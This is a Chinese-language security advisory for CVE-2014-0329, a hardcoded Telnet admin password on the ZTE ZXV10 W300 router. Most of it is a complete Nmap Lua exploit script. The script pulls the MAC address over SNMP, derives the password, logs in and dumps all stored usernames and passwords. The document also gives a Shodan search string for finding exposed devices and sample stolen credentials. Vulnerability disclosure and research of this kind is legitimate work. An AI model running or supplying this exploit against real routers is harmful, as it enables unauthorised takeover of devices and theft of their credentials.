发布日期：2014-02-03
更新日期：2014-02-11

受影响系统：

ZTE ZXV10 W300 2.1

描述：

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BUGTRAQ  ID: 65310
CVE(CAN) ID: CVE-2014-0329

ZTE ZXV10 W300是款无线路由器产品。

ZTE ZXV10 W300路由器(固件版本2.1.0）的TELNET服务包含硬编码的管理员用户名及密码（XXXXairocon，其中XXXX是设备的MAC地址的后4位字符），如果远程攻击者了解密码前面的MAC地址字符，即可利用此漏洞获取管理员访问权限。

<*来源：Cesar Neira
  *>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Cesar Neira （）提供了如下测试方法：

# Exploit Title: ZTE ZXV10 W300 router contains hardcoded credentials
# Date: 03 Feb 2014
# Exploit Author: Cesar Neira
# Vendor Homepage: http://wwwen.zte.com.cn/
# Version: ZTE ZXV10 W300 v2.1
# CVE : CVE-2014-0329
# Dork (Shodan): Basic realm="index.htm"
# References:
http://alguienenlafisi.blogspot.com/2014/02/hackeando-el-router-zte-zxv10-w300-v21.html


local nmap = require "nmap"
local stdnse = require "stdnse"
local snmp = require "snmp"
local vulns = require "vulns"

description = [[
ZTE ZXV10 W300 router contains hardcoded credentials that are useable for the
telnet service on the device. The username is "admin" and the password is
"XXXXairocon" where "XXXX" is the last four characters of the device's MAC
address. The MAC address is obtainable over SNMP with community string public.
]]
author = "Cesar Neira"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln", "exploit", "intrusive"}

---
--
-- @usage nmap -sU -sS -p U:161,T:23 --script=airocon example.org
-- @output
-- PORT    STATE         SERVICE
-- 23/tcp  open          telnet
-- 161/udp open|filtered snmp
--
-- Host script results:
-- | airocon:
-- |   VULNERABLE:
-- |   ZTE ZXV10 W300 router contains hardcoded credentials
-- |     State: VULNERABLE (Exploitable)
-- |     IDs:  CVE:CVE-2014-0329
-- |     Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
-- |     Description:
-- |       ZTE ZXV10 W300 router contains hardcoded credentials that are useable for the telnet
-- |       service on the device. The username is "admin" and the password is "XXXXairocon"
-- |       where "XXXX" is the last four characters of the device's MAC address. The MAC address
-- |       is obtainable over SNMP with community string public.
-- |     Disclosure date: 2014-2-3
-- |     Exploit results:
-- |       admin:1234
-- |       support:1234
-- |       admin:0E91airocon
-- |     References:
-- |       http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0329
-- |       http://alguienenlafisi.blogspot.com/2014/02/hackeando-el-router-zte-zxv10-w300-v21.html
-- |_      http://www.kb.cert.org/vuls/id/228886

-- @args community SNMP community (Default: public)
--
---


local DEFAULT_COMMUNITY = "public"


hostrule = function(host)
    local snmp_port, telnet_port
    
    snmp_port = nmap.get_port_state(host, {number=161, protocol="udp"})
    if not snmp_port  and not (snmp_port.state == "open" or snmp_port.state == "open|filtered") then
        return false
    end
    
    telnet_port = nmap.get_port_state(host, {number=23, protocol="tcp"})
    if not telnet_port and not telnet_port.state == "open" then
        return false
    end
    
    return true
end


local get_mac = function(host, community)
    local socket, status, response
    
    socket = nmap.new_socket("udp")
    socket:set_timeout(5000)

    status, response = socket:connect(host, 161)
    
    if not status then
        socket:close()
        return status, response
    end
    
    local payload, request

    request = snmp.buildGetRequest({}, ".1.3.6.1.2.1.2.2.1.6.10000")
    payload = snmp.encode(snmp.buildPacket(request, 0, community))
    
    status, response = socket:send(payload)
    
    if not status then
        socket:close()
        return status, response
    end
    
    status, response = socket:receive_bytes(1)
    
    if not status then
        socket:close()
        return status, response
    end
    
    socket:close()
    
    local result
    result = snmp.fetchFirst(response)
    
    if not result then
        return false, "Unexpected response value."
    end
    
    return true, stdnse.tohex(result)
end


local dump_creds = function(host, user, password)
    local socket, status, response
    
    socket = nmap.new_socket("tcp")
    socket:set_timeout(5000)
    
    status, response = socket:connect(host, 23)
    
    if not status then
        socket:close()
        return status, response
    end
    
    local payload
    payload = user .. "\r" .. password .. "\rsh\rlogin show\rexit\r"
    
    status, response = socket:send(payload)
    
    if not status then
        socket:close()
        return status, response
    end
    
    status, response = socket:receive_buf("exit", false)
    
    if not status then
        socket:close()
        return status, response
    end
    
    socket:close()
    
    return true, response
end


local parse_response = function(response)
    local index
    
    index = string.find(response, "Username +Password +Priority")
    
    if not index then
        return false, "Unexpected response value."
    end

    index = string.find(response, "\r\n", index) + 2
    response = string.sub(response, index)

    local result, endl, line
    result = {}
    
    index = 0
    endl = string.find(response, "\r\n", index)

    while endl do
        line = string.sub(response, index, endl)
        line = string.gsub(line, "\r", "")
        line = string.gsub(line, "^ +", "")
        line = string.gsub(line, " +$", "")
        line = string.gsub(line, " +", " ")
        
        local user, pass, prio
        for user, pass, prio in string.gmatch(line, "([^ ]+) ([^ ]+) ([^ ]+)") do
            local aux = {}
            aux['username'] = user
            aux['password'] = pass
            aux['priority'] = prio
            table.insert(result, aux)
        end
        
        index = endl + 2
        endl = string.find(response, "\r\n", index)
    end
    
    return true, result
end


action = function(host)
    local vuln = {
        title = "ZTE ZXV10 W300 router contains hardcoded credentials",
        state = vulns.STATE.NOT_VULN,
        IDS = {CVE = 'CVE-2014-0329'},
        risk_factor = "High",
        scores = {
            CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)",
        },
        description = [[
ZTE ZXV10 W300 router contains hardcoded credentials that are useable for the telnet
service on the device. The username is "admin" and the password is "XXXXairocon"
where "XXXX" is the last four characters of the device's MAC address. The MAC address
is obtainable over SNMP with community string public.]],
        references = {
            "http://www.kb.cert.org/vuls/id/228886",
            "http://alguienenlafisi.blogspot.com/2014/02/hackeando-el-router-zte-zxv10-w300-v21.html"
        },
        dates = {
            disclosure = {year = 2014, month = 2, day = 3},
        },
        exploit_results = {},
    }

    local community
    community = stdnse.get_script_args(SCRIPT_NAME .. ".community") or DEFAULT_COMMUNITY
    
    local status, response
    
    status, response = get_mac(host, community)    
    if not status then
        return response
    end
    
    local password
    password = string.upper(string.sub(response, 9)) .. "airocon"
    
    status, response = dump_creds(host, "admin", password)
    if not status then
        return response
    end
    
    status, response = parse_response( response )
    if not status then
        return response
    end
    
    vuln.state = vulns.STATE.EXPLOIT
    for _, data in pairs(response) do
        table.insert(vuln.exploit_results, data.username .. ":" .. data.password)
    end
    
    return vulns.Report:new(SCRIPT_NAME, host):make_output(vuln)
end

建议：

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厂商补丁：

ZTE
---
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.zte.com.cn/

参考：
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0329
http://alguienenlafisi.blogspot.com/2014/02/hackeando-el-router-zte-zxv10-w300-v21.html
http://www.kb.cert.org/vuls/id/228886

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